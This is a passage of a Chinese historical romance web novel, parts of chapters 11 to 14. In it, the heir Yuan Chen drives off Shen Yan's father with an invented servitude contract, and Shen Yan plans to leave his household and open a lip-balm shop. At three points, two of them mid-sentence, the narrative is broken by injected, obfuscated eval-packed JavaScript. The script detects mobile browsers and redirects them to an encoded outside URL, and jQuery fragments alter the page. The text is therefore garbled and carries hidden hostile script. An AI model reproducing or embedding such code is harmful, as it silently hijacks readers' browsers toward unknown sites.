没有哪个高门愿意招惹麻烦，雇佣一个官宦之女，而且还是在对方不同意的情况下。 这意味着，不回苏府，她在卫王府也再难呆下去。 他们这分明是在逼她。 卫王府正堂，坐在圈椅上等候的苏文焕看见女儿进来，站起身好言说道：“妍儿，你既已从姚府平安脱身，为何不与家中联络？那日阿桂来找你，怎么还将她骂了回去？” 望着大半年来首次露面的父亲，沈妍指尖一点点掐进掌心。 深吸了一口气，她肃容望着苏文焕：“父亲为何非要如此？我好歹也是你的亲生女儿，就不能放我一条生路？” “这……”苏文焕给她一噎，摇头叹了口气，“你这孩子，怎么说话呢？”言罢讪讪看了眼旁边的郑嬷嬷。 家丑不可外扬，父女二人的争执，自是不愿叫外人知晓。 郑嬷嬷见状，忙借口倒茶，知趣地退了出去。 苏文焕于是接着说道：“你母亲叫阿桂来找你也是一片好心，只因当时出了点急事，这才未能亲自前来。” 沈妍只是冷笑不语。 出了事将她推出去挡煞，事后改了主意，随便打发个下人即可领回。 她还真是召之即来挥之即去呀！ 苏文焕看她如此，面上显出些惭色：“为父知道，你对那件事仍有心结。”他叹了口气，“怪我无能，没有照顾好你。妍儿，再给父亲一个机会，同我回苏府。我已与你母亲说好，苏府欠你的，定会尽力补偿。” 他语气诚恳，沈妍一时听得出神。 她想起阿娘临走前，父亲答应会照顾好她时，也说得声泪俱下。 这个人从未打骂过她，哪怕对她说一句重话。 但每次她被姜氏母女欺负，他明知个中原委，却含混了事时，也总是露出这般带着些许无奈与模棱两可的神情。 正是这样的父亲，一度让沈妍看不清楚，甚至得知被往姚府时，都并没想过逃走。 所以，哪怕半年前，苏文焕说这番话，沈妍多半都是会信的。 可眼下不同了，在苏府四年的经历，乃至最后那个结局，足够让她看清楚他们每个人。 “父亲还要我说几次？不必了。”她语气平淡冷漠，“如今我一个人活得很好。” 苏文焕皱眉：“你一时心中有气情有可原，但也该为日后做些打算。妇道人家，在外谋生谈何容易？不如先同为父回去。你还年轻，日后若说出府再嫁，未必找不到合适的人家，留在这做女使能有什么前途？” 沈妍哼笑一声：“父亲口口声声为我打算，可知我不回苏府，正是为自己的前程打算？” “四年来，是你们教会了我，这世上能够相信和依靠之人唯有自己，还有——”她一顿，直视着苏文焕，“不抱希望，便不会失望。” 她说话间，苏文焕面色越发难看：由惭愧、灰败，到愤懑、冷硬、终至没有一丝活气。 最终，像下定了什么决心，他抿了抿唇。 只是刚要开口，郑嬷嬷却已端茶进来。 苏文焕索性对郑嬷嬷道：“这位嬷嬷来得正好，你既是府中管事，能否劳烦告知，小女与贵府签了哪种身契？做父亲的也好赎她回去。” 沈妍闻言，饶是对苏文焕未报任何期望，还是被他这句震惊住。 为了一己之私，毫不顾及她的意愿，父亲倒真是一点没变。 11. 外人 腾地站起身，她冷脸睨着苏文焕：“父亲真要连最后这点脸面也要彻底撕毁？” 一旁，郑嬷嬷看父女二人起了争执，上前一步，公事公办地对苏文焕道：“不是婢子为难奉议郎，这王府有王府的规矩。沈娘子是少主跟前的人，眼下少主未归，婢子无法擅自做主，更不便透露府中内务。” 话音才落，外面有脚步声响起，郑嬷嬷寻声望去。 元琛正沿着青石甬道快步走来。 郑嬷嬷面上一松：“世子回来了。” * 苏文焕看见元琛，面上也是一松。 沈妍却是心头一沉。 郑嬷嬷才说做不得主，这能做主的人便回来了。 父亲与卫世子，虽说原本一个在京城，一个在北境，素无交集，但两人毕竟同朝为官。 按照常理，眼下这件对自己而言天大的事，对卫世子却只是一个女使的去留而已。 同僚为此亲自登门，他怎么也该给这个面子。 元琛进门后径直来到苏文焕跟前。 高大挺拔的身影往父女二人中间一站，碰巧将他身后的沈妍挡了个严严实实。 沈妍看不见苏文焕的表情，只能听见他声音变得恭敬有加：“下官奉议郎苏文焕参见元将军。今日冒昧登门，实属唐突。” 元琛朝他比了下手，一如既往声色淡淡：“奉议郎无须多礼。” 下一瞬，他毫无征兆地扭头看向沈妍，“此处无须你伺候，退下吧。” 沈妍愣了愣，才要开口解释，却被苏文焕抢了先。 他毫不迟疑，一语揭破沈妍的身份，随即对元琛道：“小女此前不幸落入姚府，后姚府被查，小女下落不明，家中多方寻找，终于在不日前获知人在贵府。这段日子，承蒙将军好心收留，下官不胜感激。今日欲带小女回府，他日定当虔具菲筵，专程奉谢。” 一番说辞，乍听上去毫无破绽，甚至叫人无从反驳。 但对于沈妍为何会落入姚府，他却只字未提，至于接她的目的，则含混带过。 不愧是进士出身，这春秋笔法用得很是熟练。 而且，这些事苏文焕不提，又有谁会那么不开眼，多嘴打听，当面揭人伤疤？ 苏文焕说话时，元琛不时冲他点一下头，似是颇有耐心地听他说完。 一旁，郑嬷嬷悄悄打量着元琛，渐渐蹙起眉心，仿佛一时也有些拿不准世子的态度。 沈妍见状上前一步，正要揭穿苏文焕，却不料刚想插话，便被元琛抬手制止。 她下意识地抓紧披帛，粉嫩的指尖隐隐泛白。 卫世子没理由站在她这边——沈妍早就知道——但还是没来由地对他心存侥幸。 终于，元琛声色无波地问了苏文焕一句：“奉议郎的来意本将军已知晓，但此事你可曾问过沈娘子的意思？” 话落，苏文焕含混一笑：“她一个妇道人家，懂什么——” “据本将军所知，沈娘子曾为姚府家姬。”元琛打断了他，“她既已出阁，当能决定自身的去留。”言罢，偏头看向沈妍，“沈娘子？” 沈妍醒过神，向元琛叉手一礼，朗声道：“回世子，妾不愿再回苏府。” 元琛点点头，眼底染上柔和，像一缕轻风漫过竹林。 下一瞬，他扭头看向苏文焕，眸底的柔光刹那散尽，只余下霜雪般的清冷：“既如此，奉议郎还是请回吧。” 话音落地，在场另外三人均是一愣。 沈妍：“？” 她没听错吧？卫世子居然站在了她这边？ 而且，不问是非情由，连句委婉客套的说辞都没有，就……直接轰人？ 郑嬷嬷紧拧的眉心也慢慢舒展开。 苏文焕则瞠目结舌，显然没料到元琛会是这般反应。 半晌，他回过神，对元琛道：“小女一时任性，只因一些事情还未想清楚，可她是苏家之女，做父亲的却不能由着她胡闹。” “苏家之女”四字，他刻意加重了语气。 “苏家之女？”元琛薄唇微勾，仿佛听到了什么极为好笑之事，“可本将军怎么听说，奉议郎一直拒绝承认沈氏母女。沈娘子也是由其生母独自抚养长大，直至沈氏亡故，才在苏府寄养了四年。” 苏文焕听他说着，面色越来越难看，最后不可置信地瞪沈妍：你怎么连这种事都和他说？ 沈妍：“……” 她还真没有…… 不过，到底是混迹官场多年的老江湖，苏文焕神色很快恢复如常：“陈年旧事罢了，其中情由不足为外人道。妍儿终归是下官的女儿，下官也早已将她认回，养在苏府。” 元琛冷笑：“不，你已将她送入姚府。本将军听说过穷人为活命卖儿鬻女，可当年那桩案子，奉议郎充其量不过是一人获罪，你却为自己的仕途，为了苏家的荣华富贵，将亲生女儿推入火坑，如此，也配称人父？” 话音落地，苏文焕脸色骤变，抬手指着元琛，连说话都有些气结：“你——” “怎么，奉议郎卖女儿一次还不够，还想再卖一次？”元琛说着，冰刃般锐利的眼风扫向苏文焕。 这话说得直白露骨，直戳苏文焕的软肋，连沈妍都忍不住惊讶地看向元琛。 一旁，苏文焕更是面色紫涨，满目震惊，半晌回过神来，似是忍无可忍，怒道：“我苏家的家务事，还轮不到一个外人妄言！” “外人？”元琛声色淡淡，凤眸却刹那染上一层冷戾，“奉议郎忘了，沈娘子是本将军的女使。” 这话无异于直接打苏文焕的脸了。 他好歹也是正六品的京官，女儿再不济也不至于沦落到给人家做女使的地步，而他这个当爹的，居然想领回去都不行…… 沈妍在旁听着，都忍不住替他赶到难堪。 眼见着苏文焕脸色由紫涨转为青白，一开口，嘴唇微微发颤：“我大庆朝天子脚下，朗朗乾坤，岂有强行扣留官宦家眷的道理？元将军如此说，未免欺人太甚！此事即便告到圣前——” “奉议郎此言差矣。”元琛打断他，语气不紧不慢，“当日姚贼谋反，府中家眷悉数没入奴籍，这是官家的旨意。即便身为官眷，沈娘子亦不能例外。她的身契如今在卫王府，当然是我卫王府之人。” 这话说完，别说苏文焕，连沈妍都傻了眼。 什么奴籍？什么身契？卫世子也太会睁眼说瞎话了…… 郑嬷嬷知晓元琛的脾气，这会儿只是假装隐形，低眸不语。 苏文焕更是表情木然，三魂仿佛去了七魄，口中呢喃：“奴、奴籍？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089051|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 元琛语气越发沉冷：“奉议郎说本将军强行扣留贵府家眷，意思是当初你未曾将沈娘子送入姚府，还是质疑官家的处置？” 话落，苏文焕一个激灵屈膝跪倒：“下官不敢！” 他只道沈妍平安出了晋国公府，未受姚承嗣案牵连，并不知晓她出府的经过。 如今被扣这么大一顶帽子，却如何担得起？ 苏文焕视线之外，沈妍不无心虚地悄悄与元琛对视一眼。 沈妍：瞎编，事后万一被查出来怎么办？ 元琛：放心。 尘埃落定，元琛不再多话，看也未再看苏文焕一眼，只淡道：“送客。” 郑嬷嬷于是上前比手，不咸不淡道：“奉议郎，请吧。” 苏文焕这才颤巍巍起身，再三向元琛好言致歉后，唯唯辞了出去。 失魂落魄走出卫王府，苏文焕终于慢慢找回神志。 适才闹了个灰头土脸，结果非但未能将人领回，还为此得罪了元琛，委实是倒霉到家。 苏文焕早听说过卫世子性情清冷古怪，轻易莫要招惹。 今日一打交道，方知此人竟是这般不讲情面。 只不过越想越纳闷，自己好言同他商议接女儿回府，对方何以强横霸道至此？ 虽说二人官阶相差悬殊，可好歹也算同僚，他怎竟一点说不通情理？ ——为一个女使，值得？ 苏文焕走后，正堂内的三人也相继散开。郑嬷嬷返回前院做事，沈妍则与元琛回到迎晖阁。 路上，沈妍走在元琛身后，望着那道青松般挺拔的背影怔怔出神。 于情，卫世子没必要为一个女使得罪同僚。 于理，他也本不该插手她的家务事。 更何况，两人的契约眼看到期，她对元琛已经没什么利用价值。 但卫世子还是站在了她这边，甚至还编造了身契那篇谎话。 此事一旦查出来，父亲告到官府，势必会对他不利。 这么想着，两人不知不觉来到了书房。 前方，元琛停下脚步，转身看着她，语气略带玩味：“怎么不说话了？不是挺伶牙俐齿的？” 沈妍收回心神，心虚道：“妾在想，身契一事真不会被查出来？” 元琛点头“唔”了声：“不用怕，出了事有我担着。” 他如此说，沈妍反而更觉愧疚，低了头眼眶微涩，轻声道：“给世子添麻烦了。” 她自是满心感激，却不知这话落在元琛耳中，别有种客气与疏远。 闻言，他皱眉叹了口气：“既有麻烦，何不早说？非要等着人家找上门来欺负？” 语气虽是责备，却依旧低沉柔和。 沈妍听出其中的关心，怔了怔，后面的话却有些不好意思出口。 她一直以为卫世子会将她拱手送出。 元琛看她迟疑，眸中掠过一抹了然。 面色微沉，他眼神锐利地盯着沈妍：“你是觉得本世子护不了你？还是压根不相信我会站在你这边？” 被他一语说中心事，沈妍恨不能将头埋进地缝。 原本，她与卫世子不过是萍水相逢，没想到阴错阳差，当初救她性命的人是他，如今帮她摆脱纠缠，还她自由的也是他。 12. 恩典 救命那次，她还能说一句“论迹不论心”，但这次人家却是实实在在地帮助和维护她。 而她，对这样的卫世子却连最起码的信任都没有。 “世子息怒——”沈妍俯身拜倒，“都怪妾小人之心，只因……早已习惯了孤身一人，遇事总是先做最坏打算，不敢依靠他人，更不敢对世子心存奢望……未能及时相告，原是妾之过。”说着想到自己的身世遭遇，又是一阵心酸，后来声音已有些哽咽。 小臂骤然一紧——卫世子的手掌很暖，扶起她的动作轻而有力。 “记住，你是本世子的人，没人可以轻易欺负。” 卫世子说话时，外面的阳光透过敞开的窗子洒在他脸上。从来深邃的眸子因为浸了光变得清澈柔和，冷玉般的容颜仿佛也有了温度。 沈妍望着眼前人一阵恍惚，等找回神志，忙垂了眸，讷讷道：“是。” 半晌想起什么，问元琛：“世子何时知晓了妾的身世？” “我不会随便收留来历不明之人。”元琛道，“此外，身边人有任何异动，我也会了如指掌。” 沈妍：“原来如此。” 他进京目的不简单，自是不容这中间有任何差池。 所以，卫世子早就暗中调查过她。 ——幸而她没有做过什么对他不利之事。 元琛打量沈妍神情，语气有些紧绷：“生气了？” 沈妍摇头：“以世子的身份和处境而言，确实应该查清楚。” 元琛面色稍缓，沉吟片刻道：“其实，你以后只要留在王府，苏府的人绝不敢再来叨扰。” 沈妍却道：“多谢世子，但妾正想为此事求世子恩典——契约到期后，妾想离开王府。” 杏园宴那日，元琛曾亲口答应契约结束后放她离开。 眼下时机合适，她便想将此事落定。 元琛闻言，愣了愣才道：“自然可以。” 他语气不变，眉眼却透出些许失落和讶然，“为何这么想离开？” 沈妍并未注意到卫世子神情上细微的变化，只道：“这种事总不能一直仰赖世子，何况世子总有一天要回到北境，妾也已打算好日后自立门户。” 话落，元琛抿了抿唇，想说什么，却终是缓缓点了点头。 转身踱回桌案，他似是有些失神。 一个女子自立门户谈何容易？ 原来她那般“见钱眼开”竟是为此…… 脑中浮光一闪，他脚步顿住，背对着沈妍：“那个契约，还剩几日？” “回世子，三日。” 元琛面色一僵。 ——这么快吗？ * 一个月。 元琛当时只是随口说出，因为早已计划好数日内必扳倒姚承嗣，一个月时间绰绰有余。 他甚至没想过沈妍真会离开。 ——明明她之前还那么的……在意自己。 此刻终于意识到哪不对，像一个算无遗策之人一朝失误，漏掉了重要一环。 他心口一阵烦闷，张口想说什么，这才觉出口干舌燥，下意识地伸手去摸面前桌上的茶壶，全然忘了不远处就站着他的女使。 沈妍见状连忙抢上前去，却还是晚了一步。 元琛已失手碰翻了茶盏。 滚烫的茶汤漫过他白皙的手指，在上面留下一片刺目的红。 沈妍慌忙掏出帕子给他擦拭，却眼看着卫世子原本平滑的指背上浮起了一层水疱。 沈妍皱眉：“我去拿药。”说着转身奔向隔壁的房间。 元琛神色依旧淡定如常，仿佛被烫伤的不是他的手指。 看着沈妍的身影消失在门口，他慢慢扬起唇角。 ——契约到期，也不妨再多等几日，怎么也得等他手上的伤养好吧？ 眼下脑子有点乱——关于契约，关于女使——他还需要些时间，好好想一想。 * 三月的天已然不冷，卫王府揽翠亭坐落于一片花木葱茏间，凉亭四周竹帘半卷，时有花香鸟鸣随风送入亭中。 凉亭内，元琛独坐在棋案前，右手拇指与食指捻着一粒黑色棋子，只不过，目光却并未落在棋盘上，而是怔然放空，不知在想什么。 薛坚自前方的青石甬道上走来，打眼看见元琛，不由弯起唇角。 大步迈入花厅，他乘其不备，劈手夺过元琛手中棋子，“嗒”一声落在棋盘上。 薛坚与元琛是旧识，虽说后来机缘巧合并入元琛麾下，但只要不谈正事，二人私底下见面并不见外。 “你走神了。”薛坚在元琛对面坐下，伸手得意地捡走了好大一片白子。 元琛没理会他，起身一指旁边的茶桌：“罢了，这边坐。” 说着从石桌上拿起一柄长夹，往茶锅下悬空的底座间添了几块木碳，随口问薛坚，“听说上次叛逃的那批死士找到了？” 薛坚说是：“果然如你所料，人仍未跑出京城一带。昨日马校尉带人进了南山，不日定能全部清剿。” 他说话时，二人面前的水壶发出咕嘟咕嘟的轻响。 元琛点点头，盯着水中不断上浮的气泡，声色淡淡：“看来可以继续下一步了。” 长指从桌边捏起一柄银匙，他从一个螺钿莲纹银圆盒中舀出一勺褐色、松花状的茶粉，撒入滚水中，轻轻翻搅几下。 接着迅速端起茶锅，将茶汤均匀地注入几案上的两只建盏内。 顷刻间，两幅茶粉绘就、意境悠远的山水画跃然于水面。 这是京城新兴的饮茶之道，在世家勋贵中大为风行。 “尝尝今春新到的蒙顶石芽。”元琛朝薛坚比了比手。 薛坚盯着水面上的图样，琥铂色瞳仁渐渐放大：“你何时学会了这等手艺？” “入京前，王爷不是再三叮嘱，要我与世家多走动？”元琛一哂，“这也算是投其所好吧。” 薛坚闻言轻嗤一声：“我还道世子已经忘了此事。” 元琛慢慢掀起眼皮，睨着他。 薛坚会意，望着他嘿嘿一笑，搓手道：“那么关于那批请柬和拜帖——” “能推则推，暂时推不掉的，拖着便是。”元琛道。 薛坚未接话，长指摩挲着建盏，犹犹豫豫地开口：“不妥吧？怠慢了那些贵女，王爷那边怕是不好交代。” 元琛张了张口，正要说什么，不远处的小径上，长庚赶来通报：“世子，程长史求见。” 元琛一顿，继而无奈地摇摇头——今日怎么了？ 真是哪壶不开提哪壶。 无奈地闭了闭眼，他声线微凉：“请。” * 不多时，长庚领着凌州军长史程思弼朝揽翠亭走来。 程思弼是卫王元敬之指派来辅佐元琛的。 当然，除了辅佐，还包括将元琛的一举一动随时汇报给他。 说白了，就是监视。 这点元琛早就心知肚明，却毫不避讳——反正父亲的眼线又不只程思弼一个。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089052|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “什么风把程长史吹来了？”元琛觑着来人似笑非笑。 程思弼朝他咧咧嘴，笑意却不达眼底，朝元琛躬身一礼：“属下今日得闲，特来府上向世子讨杯茶喝。” 元琛勾唇：“倒是巧了。”说着朝薛坚旁边的一个月牙墩比了比手。 趁此机会把事情说开了也好。 程思弼与薛坚互相见礼后落座。薛坚起身给程思弼倒茶。 元琛眸光锐利，盯着程思弼：“程长史是知道我的——王爷那边有何指示，不妨直说。” 程思弼眼神闪了闪，抿唇思索须臾，开口：“眼下人心浮动，各方势力摇摆不定，世子进京前，王爷曾特地嘱咐——” 说着一顿，后面的话，他声音微沉，明显放缓了语速，“京中世家大族，尤其那几个百年门阀，可堪鼎定乾坤，稳定人心之基石，要世子尽力争取。” 元琛不紧不慢呷了口茶，唇边浮起一抹淡笑：“怎么争取？” 话落，凉亭内一静。周遭气流仿佛变得窒闷粘稠，连开口都艰涩起来。 程思弼一下下捻着八字须，沉吟：“属下听闻有几位世家娘子——” “怎么，”元琛将手中建盏撂在石桌上，发出“叮”一声响，“程长史也打算对本将军的婚事指手画脚？” “不敢。”程思弼忙道，一顿后，他深吸一口气，沉声道，“但世子也别忘了此番进京的缘由。”后半句，他语气意味深长。 话音落地，元琛尚未说什么，薛坚却先是一讶：“进京的缘由？难道不是为了铲除姚贼？” 周遭又是一静。 元琛面上无波，却抬手将盏中剩余的茶汤一饮而尽。 仍有些灼烫的茶水滚过喉咙，发出闷闷的轻响。 入京前，他火急火燎将薛坚从雁州调回，彼时只对他讲了进京目标。 其实除去姚承嗣这个眼中钉，北境早就蓄谋已久，并无须多言。 至于别的原委，元琛始终讳莫如深。 总不能说他是因为不想结婚，才被赶鸭子上架吧？ 而且，他也知道，此事他不说，早晚有人会替他说。 眼下不就是？ “除掉姚承嗣是目的，但起因嘛——”程思弼一顿，随即故意拖长语调，调侃中染了些许挑衅，“世子，这事属下能说吗？” 他是元敬之的心腹，有卫王在背后撑腰，本无须畏惧世子。 无奈元琛这人过于清冷慑人，程思弼每次见到他，总是未开口，先已怯了三分。 元琛听出程思弼话里的弦外之音：没做亏心事，你怕什么？莫非觉得自己错了？ 轻嗤一声，他骨节分明的长指似是百无聊赖地转动着建盏：“程长史不都已经说出来了？” 程思弼身躯稍稍舒展，面上挂着扳回一成的淡笑。 “快说，快说！”一旁，不明就里的薛坚一叠声催促，眼巴巴望着程思弼。 “起因是世子被退了亲。”程思弼道。 “什么？”薛坚一愕，抬头不可置信地瞪着元琛。 显然没料到这位无数贵女的春闺梦里人，居然也有被退亲的时候。 不过，这事跟铲除姚承嗣又有什么关系？ 程思弼随即向他娓娓道来：“女方乃北地望族范谦的嫡长女范大娘子。原本，咱们王爷已向范家纳了彩，怎料世子相看宴上竟未露面。此后女方数度登门，他也十分冷待，惹得范大娘子几次哭红着眼离开王府，被范家长辈得知，无奈之下，只好退了亲。” 13. 历书 “原来如此。”薛坚摇头笑叹，“果然还是那个性子，少时在京中也是，不知有多少小娘子背地里悄悄为他哭天抹泪。” 言罢，他似想到什么，若有所思，“退亲倒没什么，只可惜范氏树大根深，少了这份助力，王爷恐怕气得不轻吧？” 听着两人一唱一和，元琛面色微沉，觑着薛坚：“你何时学会吃软饭了？” 薛坚：“所以，你费这么大力气铲除姚承嗣，竟是要为王爷争取先机？” “是为北境，为百姓。”元琛纠正他。 薛坚偏头看程思弼，表情一脸恍然。 像是肯定他的想法，程思弼朝他点点头，随即，直言不留情面：“少了范家支持，世子这才被迫进的京。” “好吧。”薛坚了然长叹。他确实怎么都不会想到，范家退亲，倒霉的竟会是姚承嗣。 看程思弼悄悄冲他递眼色，薛坚再次看向元琛，话音一转：“虽说此番进京还算顺利，但总归是拆了东墙补西墙的法子。世子若再怠慢那些世家女，就不担心重蹈上次范家的覆辙？” 元琛哼笑一声：“我倒不信，世人皆似那范家娘子般不明事理。” “不明事理？”薛、程二人几乎异口同声。 元琛神色颇为不屑：“既然双方都清楚，不过是相互利用的联姻，又何必非要在风花雪月上浪费时间？” 这话出口，对面的两人显得极为头疼。 程思弼扶额，皱眉看着薛坚，仿佛在说：遇上这么个不开窍的主子，还能该怎么办？ 薛坚眨眨眼，别过脸去：我也没招…… 半晌，还是程思弼耐着性子，对元琛语重心长道：“世子作为元家嫡长子，将来少不得要娶一位门当户对的贵女为妻。既如此，何妨趁此机会多多接触一下京中的贵主娘子们？免得叫人闲话——” 一顿，他放缓了语气，一字一字，“世子只、会、打、仗，不、解、风、情。” 元琛皱眉，睨着他，漆黑的凤眸快要掉出冰碴。 “世子先别急——”程思弼被他看得举双手投降，随即笑得一脸谄媚，“属下听闻，平康坊有位宋好好宋都知，色艺双绝，名冠坊曲。世子于男女之情上有任何不解之处，哪日得闲，不妨——” “程长史，”元琛终于忍无可忍，黑着脸道，“近日凌州军的阵亡抚恤名单都录完了？” 程思弼似是没反应过来——怎么突然转到了这个话题？ “尚未。”他一脸懵道。 元琛：“加个急，两日内，呈报给我。” 话落，他起身往外走，留下程、薛二人坐在月牙墩上面面相觑。 一旁，长庚瞧着二人，兀自抿唇憋笑。 * 迎晖阁院内，沈妍将几味香料拿小磨研成细粉，再以清酒、白蜜拌匀，团成棋子大小的圆饼，最后散在树荫下一块大石上阴干。 事毕，又来到旁边另一块石头边，翻检筛子内早前蒸好晾着的春桃与海棠花瓣。 她本打算等契约到期便离开王府，可不巧，元琛最近烫伤了，身边缺人照顾。 而且，她找房、准备开店也需要一些时日，所以倒也不急在这几天。 此刻，沈妍一门心思忙手头的事，未留意有个人已在月洞门边静静站了许久。 元琛把程思弼和薛坚两个晾在一旁，气咻咻独自返回迎晖阁。 心绪烦闷之下，他脑中下意识地蹦出一个念头：只需将那个契约延长，眼前的麻烦便可迎刃而解。 但隔着月洞门，一眼看见院中的沈妍，他却是一顿。不知为何双脚沉甸甸的，像绑了铅块。 前方，少女弯着腰站在树下，正有条不紊地摆弄着一些小玩意，表情安静又专注。 元琛瞧着她，不觉怔然出神。 适才的心浮气躁一扫而空，眼前只余一片天晴地朗，岁月静好。 轻轻走到沈妍身旁，他好奇地垂眸，盯着那些香气四溢的小团子：“晾的什么？” 沈妍乍看见元琛，微微一怔，继而朝他欠身一福：“回世子，是熏衣香。妾昨日买了些制香的原料，打算做几枚熏衣的香饼子。世子若不嫌弃，等香饼做成，留一些给您可好？” 自从元琛帮她摆脱了苏府纠缠，二人之间似乎少了一层隔阂。 沈妍对他不再像之前那般畏惧，偶尔也会愿意同他多说几句。 元琛点头，又打量另一块石头上晾至半干的花瓣，“那些也是？” 脑中的念头仍在说与不说之间摇摆，他想了想，继续没话找话。 沈妍摇头：“那是做口脂用的。” ——世子今日真闲。 “唔，你会的还挺多。” “从前同我阿娘学的，她在世时常说，寻常人家的孩子，多学几样手艺，日后便可少为生计发愁。” 元琛听她说着，信手拈起一片干花，望着指间皱巴巴、小小的一片，有些不可置信：“这个也能用来谋生？” 沈妍闻言嫣然一笑，从腰间取下一枚荷包，又从中抽出一个寸许长、半指宽的朱漆木盒，递向元琛：“给世子看样东西。” 元琛接过盒子，掀开盒盖。里面是一排铜钱大的圆形凹槽，槽内填满了丝滑莹润，色泽各异的凝脂，细闻下，还散着说不清道不明的暗香：“这些是？” 沈妍：“用干花为原料制成的口脂。” 元琛端详着一块块细润芬芳，颜色多样的口脂，语气微讶：“你做的？” 沈妍说是。 对于这些女人用的玩意，元琛所知有限，未曾想，一枚小小口脂也能做出这么多种变化。 鼻尖稍稍凑近，细闻下每种口脂的香味也各不相同。 耳畔响起沈妍的声音：“如何？” “有些意思。”元琛眼尾微扬。 他不是什么感情充沛之人，这种程度的赞美，于他已算是褒奖。 沈妍：“寻常女子用来点唇的无非是些棉纱、红纸之类，就算在贵人娘子中，色泽细化、香气饱满的口脂也极为珍贵难得。妾融合制香之法，将不同香料的复合香气融入不同色泽的口脂中，用来搭配不同的服饰、肤色，想来拿到市面上，当会受娘子们喜欢。” 她拈起一瓣干花，“世子看到的这些口脂，便是以这种干花为原料制成。” 元琛认真听完，赞赏地点了点头。 他久驻北地，受胡人习俗潜移默化，相较于大庆女子，反而更欣赏北地女子果敢独立，认为女子并非一定要依附男子而活，也可闯出自己的一番天地。 第一眼见到沈妍，元琛便注意到她与周围舞姬不同。 她的眼神清亮倔强，不似经过驯化的池中之物。 相处渐久，发现她偶然卸下伪装，不过是个聪慧谨慎的邻家女孩。 却又现实，薄情。 不知为何，这样的沈妍反而越发让他好奇。 想靠近，了解更多。 但此刻，元琛分明感觉到，这女人正迅速离他远去。 神色暗了暗，他声线低沉：“看来以后的路要怎么走，沈娘子都已经想好了。” 沈妍点头：“妾很早之前便有开口脂店的打算，想着有朝一日，让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097413|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些又香又美的口脂变得不再难得，任何时候姑娘们想要，便可买到。如此，妾也不必为生计发愁了不是？” 元琛看她说这番话时眼睛闪闪发亮，也不由扬起唇角，继而想起什么，心一点点往下沉。 本打算与沈妍谈的“正事”，忽然有些难以启齿。 而且，她说的都是离开王府之后的生活——与他无关。 本已归于平静的心绪又是一阵烦闷。轻轻“嗯”了声，他默默转身往正堂走。 前方，经过一个石桌，上面放着一本打开的历书。 元琛不经意间一瞥，见历书拿茶盘压着，依稀可见页面上零散写着一些字迹。 出于好奇，走到近前时，他视线在页面上扫了一眼。 字迹的内容是一些数字。他拿起历书翻了翻，发现数字随着日期增加，在逐一减少。 ——似乎是“倒计时”？ 元琛心头一跳，迅速又往后面翻了几页，最后目光停在一排扎眼的小字上。 初八——便是七日后，历书的日期旁边，用小楷清晰地写着“离开王府”四字。后面还画了个笑脸。 笑脸由最简单的线条勾成，嘴角、眼睛向上翘起，显然笑得无比很开心。 盯着那张笑脸，元琛表情僵住，脑中嗡嗡作响，心也仿佛缺了一块，像什么被打了个窟窿。 他本以为——且不提她之前那般撩拨、招惹…… 后来，她的眼神……而且，还对他那般上心…… 好吧，就算那个女人不曾对他心存肖想，多少也应该……还是有些情意在的吧？ 元琛一直这么认为，直到看见这日历才知，她竟是这般细数着日子，一日日盼着离开…… 沈妍看元琛突然走了，虽有些奇怪，倒也并未深想，便又忙着收集那批干花。 半晌，察觉附近有人，她扭头一看——卫世子竟还在院中。 他侧着身，手上拿着本书，雕像般一动不动站在石桌旁，目光像在盯着前方的茶盘。 想到上次他的手被烫伤，沈妍蓦地心口一紧，忙几步抢到跟前：“世子要喝茶？” 元琛回过神来，木着脸摇摇头，下一瞬，撂下历书，一言不发地大步迈进厅堂。 望着他的背影，沈妍一脸迷茫：又怎么了？这人怎么翻脸比翻书还快…… * 凉亭内，程思弼因为此行吃了憋，只得暂时离开王府，心中谋划着再另想别的法子劝世子。 薛坚起身相送。 二人并肩往外走时，途中经过一座小花园。 一株株缀满浅、绛、深、绯的海棠花树间，有道倩影一闪而过。 那是个穿着鹅黄衫子，素色襦裙的少女。 程思弼只消看一眼那纤细窈窕的身段，便知是个美人。 他脚步一顿，觑着花园中挎着竹篮，认真收集花瓣的少女感叹：“好一位佳人！” 边说边抱起双臂，食指捋着唇上的八字须，朝不远处的少女细细打量。 眼前骤然一暗，是薛坚挡在他面前，声色淡淡道：“她是府中女使。” “世子身边的？”程思弼转着念头，并未注意薛坚的反应。 看薛坚点头，程思弼忽惋惜地一叹，“早知如此，我还提那宋好好做什么？” 说着想到什么，神色一喜，抚掌道，“美人在侧，世子这是终于开窍了呀！” 话音落地，薛坚神色越发冷峻，沉声道：“女使就是女使，程长史慎言。” 程思弼这才注意到薛坚的表情，竟是一副要找他讨债的模样。 14. 便饭 “嘿！”他皱眉，不解地打量薛坚。 